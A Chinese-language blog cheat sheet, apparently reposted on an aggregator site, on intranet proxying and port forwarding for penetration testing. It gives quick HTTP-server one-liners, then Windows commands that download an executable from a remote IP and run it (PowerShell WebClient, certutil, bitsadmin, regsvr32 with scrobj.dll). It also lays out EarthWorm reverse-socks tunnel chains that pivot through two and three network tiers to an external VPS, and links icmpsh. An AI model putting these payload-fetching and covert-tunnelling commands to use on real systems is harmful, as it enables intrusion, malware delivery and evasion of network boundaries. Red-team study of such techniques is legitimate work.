当前位置:   article > 正文

内网代理转发以及httpserver_http-server实现端口转发

http-server实现端口转发

pythonhttp服务器

python2

python -m SimpleHTTPServer 1337
  • 1

python3

python -m http.server -b 0.0.0.0 1337
  • 1

php5.4

php -S 0.0.0.0:1337
  • 1

windows文件下载

powershell

powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe'
  • 1

certutil

certutil -urlcache -split -f http://1.1.1.1:1337/10000.txt d:\1234.txt&&d:\1234.txt
  • 1

bitsadmin

bitsadmin /transfer n http://1.1.1.1:1337/10000.txt d:\12345.txt && d:\12345.txt
  • 1

regsvr32

regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll
  • 1

ew

正向socks5

ew_for_win32.exe -s ssocksd -l 8888
  • 1

反弹socks5

#公网机器 把1080端口的请求转发给8888端口
ew_for_win32.exe -s rcsocks -l 1080 -e 8888

#内网机器 开启socks5并反弹到公网机器的8888端口
ew_for_win32.exe -s rssocks -d 192.168.1.175 -e 8888
  • 1
  • 2
  • 3
  • 4
  • 5

二级网络环境 (一)

#A主机存在双网卡,外网IP,可连接目标网络内主机B
#B主机不能访问外网,能连接A

#B先启动socks
ew_for_win32.exe -s ssocksd -l 8888

#A 将1080收到的请求转发给B的8888端口
ew_for_win32.exe -s lcx_tran -l 1080 -f 192.168.99.101 -g 8888
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

二级网络环境 (二)

#A主机存在双网卡,内网IP,可连接目标网络内主机B和外网
#B主机不能访问外网,能连接A

#C机器 
ew_for_win32.exe -s lcx_listen -l 8899 -e 8888

#B主机下
ew_for_win32.exe -s ssocksd -l 9999

#A主机下 将公网的8888和内网B的9999连接起来
ew_for_win32.exe -s lcx_slave -d vpsIP -e 8888 -f 192.168.99.101 -g 9999
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

三级网络环境

#A没有公网IP但是可以访问外网,B不能访问外网但是可以被A主机访问、C可以被B访问而且能访问核心区域

#VPS 
ew_for_win32.exe -s rcsocks -l 1080 -e 8888

#A主机 将VPS的8888与B主机的9999的端口连接起来
ew_for_win32.exe -s lcx_slave -d VPSIP -e 8888 -f BIP -g 9999

#B主机 将9999收到的请求转发给7777端口
ew_for_win32.exe -s lcx_listen -l 9999 -e 7777

#C主机 启动socks服务,并反弹到B主机的7777端口
ew_for_win32.exe -s rssocks -d BIP -e 7777

socks -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

icmpsh

https://github.com/inquisb/icmpsh

参考文章

https://yoga7xm.top/2019/03/31/IPentest-tunnel/

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/不正经/article/detail/224680
推荐阅读
相关标签
  

闽ICP备14008679号